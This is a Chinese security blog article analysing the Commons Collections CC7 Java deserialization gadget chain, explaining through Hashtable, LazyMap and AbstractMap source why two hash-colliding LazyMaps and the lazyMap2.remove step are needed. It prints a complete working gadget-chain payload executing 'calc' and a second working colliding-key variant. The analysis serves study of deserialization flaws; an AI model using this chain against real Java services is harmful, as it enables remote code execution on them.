CC第7链HashTable触发点深入分析

阅读量215106

|评论2

|

发布时间 : 2021-08-05 10:00:15

 

起因

CC(CommonsCollections)链系列是Java安全必经之路,复习到CC7的lazyMap2.remove("yy");代码,网上文章解释的不是很清楚,不明白为什么要这样做,于是打算深入做一个分析

 

回顾

贴出网上广泛流传的CC第7链,笔者将带大家做个简单的回顾

Transformer[] fakeTransformer = new Transformer[]{};

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");

hashtable.put(lazyMap2, "test");

Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);

lazyMap2.remove("yy");

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashtable);
oos.flush();
oos.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();

ChainedTransformer触发点transform

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

链式调用中使用到InvokerTransformertransform方法,反射调用

public Object transform(Object input) {
    ......
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);
    ......

LazyMap中的触发点,如果当前LazyMap中不包含传入的key才会顺利调用transform触发漏洞

public Object get(Object key) {
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

HashTable被反序列化后的触发过程如下,遍历HashTable已有元素调用reconstitutionPut方法

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException
{
    ......
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
            K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V)s.readObject();
            // sync is eliminated for performance
            reconstitutionPut(table, key, value);
        }
    ......
}

reconstitutionPut方法如下,触发点是e.key.equals(key))

(注意这里有细节,将在后文中重点关注)

......
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
    if ((e.hash == hash) && e.key.equals(key)) {
        throw new java.io.StreamCorruptedException();
    }
}
......

跟入equals到达AbstractMap.equals,看到m.get(key)方法,其实是上文中的LazyMap.get,调用了transform方法,最终构造出整条链,这也是网上大部分文章所写的过程

public boolean equals(Object o) {
    if (o == this)
        return true;
    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    ......
    if (value == null) {
       if (!(m.get(key)==null && m.containsKey(key)))
           return false;
    } else {
        if (!value.equals(m.get(key)))
           return false;
    }
    ......

 

深入分析

从Payload入手分析,将空的chainedTransformer传入LazyMap中,并设置key为yyzZ的元素

分析LazyMap源码可以看出并没有重写put,所以这里只是简单的普遍的map.put操作

Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("zZ", 1);

继续分析,往新建的HashTable中放入上文两个LazyMap

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");

hashtable.put(lazyMap2, "test");

问题一

为什么要放入两个LazyMap

首先来看HashTable.put,这里和reconstitutionPut处的代码类似,都包含了entry.key.equals(key))代码。其中key是传入的LazyMaptab是全局的一个Entry,根据hashcode算出一个index,只有entry中有元素才会进入for循环,从而进一步触发

private transient Entry<?,?>[] table;
......
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
    if ((entry.hash == hash) && entry.key.equals(key)) {
        ......
    }
}
......

所以可以看出,必须要两个或以上元素才能进入entry.key.equals(key))方法。类似地,反序列化的触发点reconstitutionPut处也是这样的逻辑,需要保证必须有两个或以上元素

进而可以得出的结论,能走到LazyMap.get方法的只有lazyMap2这一个对象

开头部分代码调试后,可以发现会执行两次LazyMap.get方法。第一次是制造反序列化对象的过程,也就是hashtable.put(lazyMap2, "test");会调用;第二次是模拟被反序列化后reconstitutionPut的调用。接下来我们针对这两次调用做深入分析

第一次调用:

注意到第一次传入的是空的一个Transformer数组

因此在transform的时候会原样返回,如果传入yy就会返回yy

Transformer[] fakeTransformer = new Transformer[]{};

结合代码分析,当lazyMap2put后,entry.key.equals(key))entry.key正是lazyMap1AbstractMap.equals方法中有部分被忽视的代码。其中i是全局变量,根据继承关系,其中正是lazyMap1保存的yy:1,所以取到的keyyy,最终在lazyMap2.get传入的是yy

Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
    Entry<K,V> e = i.next();
    K key = e.getKey();
    V value = e.getValue();
    if (value == null) {
        if (!(m.get(key)==null && m.containsKey(key)))
            return false;
    } else {
        if (!value.equals(m.get(key)))
            return false;
    }
    ......

进入lazyMap2,本身只有zZ:1这一个元素,不包含yy,所以成功执行transform。而上文分析传入的参数是yy所以经过transform一些系列的链式调用后返回的还是yy,将yy:yy设置到lazyMap2中,所以lazyMap2包含了:zZ:1yy:yy(链式调用原样返回是因为传入一个空的一个Transformer数组)

if (map.containsKey(key) == false) {
    Object value = factory.transform(key);
    map.put(key, value);
    return value;
}

后文反射设置chainedTransformer为Payload

Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);

然后将lazyMap2yy:yy移除

lazyMap2.remove("yy");

第二次调用:

这时候HashTable被反序列化,调用readObject方法,进入reconstitutionPut,重新看之前的代码。其中table参数是HashTable所包含的元素,由于刚被反序列化,所以不存在元素

进入reconstitutionPut的调用点,遍历获取的第一个key应该是lazyMap1->yy:1。由于tab是空,导致get操作的循环无法进入,跳到后续代码中,把lazyMap1->yy:1加入到了全局变量table

第二次循环进入reconstitutionPut,由于全局变量中已有值,所以可以调用到e.key.equals(key)方法

// HashTable.readObject
for (; elements > 0; elements--) {
    // 遍历第一次的key是lazyMap1->yy:1
    // 遍历第二次的key是lazyMap2->zZ:1(已删除yy:yy)
    @SuppressWarnings("unchecked")
    K key = (K)s.readObject();
    @SuppressWarnings("unchecked")
    V value = (V)s.readObject();
    // 第一次传入的参数是:table[]-lazyMap1->yy:1-test
    // 第二次传入的参数是:table["lazyMap1->yy:1"]-lazyMap2->zZ:1-test
    // sync is eliminated for performance
    reconstitutionPut(table, key, value);
}

// HashTable.reconstitutionPut
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    // 第二次才会成功进入for循环
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        // e.key: lazyMap1->yy:1
        // key: lazyMap2->zZ:1
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
    Entry<K,V> e = (Entry<K,V>)tab[index];
    // 第一次会把lazyMap1->yy:1加入到全局变量table中
    tab[index] = new Entry<>(hash, key, value, e);
    count++;

// AbstractMap.equals
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
    if (!(m.get(key)==null && m.containsKey(key)))
        return false;
} else {
    // m: lazyMap1->yy:1
    // key: lazyMap2->zZ:1
    if (!value.equals(m.get(key)))
        return false;
}

问题二

删除LazyMap2中key为yy的元素的根本原因是什么

观察到reconstitutionPut的代码,想要顺利执行,需要确保两个lazyMaphashcode一致,进而index计算结果一致才可以。Java中hashcode的计算方式比较复杂,这里简单理解为:如果lazymap1lazymap1包含相同数量的元素,并且每个元素的key和value都完全一致,那么计算得出的hashcode就相等

然而lazyMap1->yy:1lazyMap2->zZ:1的hashcode为什么会相等呢?因为这是一处哈希碰撞,恰好而已。假设改成lazyMap2->zZ:2lazyMap2->zZZZZ:1都会导致无法运行

// 根据lazyMap算出的hascode
int hash = key.hashCode();
// 根据hashcode算出index
int index = (hash & 0x7FFFFFFF) % tab.length;
// 如果index不合法,将不会触发后续的链
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
    if ((e.hash == hash) && e.key.equals(key)) {
        throw new java.io.StreamCorruptedException();
    }
}

问题三

Payload中的yy和zZ能否改成其他字符串

参考问题二,要保证hashcode一致,理论上会有很多选择,实际上很难找出合适的

笔者给出一个可用的Payload,字符串AaAaAa和BBAaBB的hashcode相同,测试通过

Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("AaAaAa",1);

Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("BBAaBB",1);
......
lazyMap2.remove("AaAaAa");

成功触发

 

参考链接

https://xz.aliyun.com/t/9409#toc-7

https://cloud.tencent.com/developer/article/1809858

本文由1原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/248169

安全客 - 有思想的安全新媒体

分享到:微信
+12赞
收藏
1
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66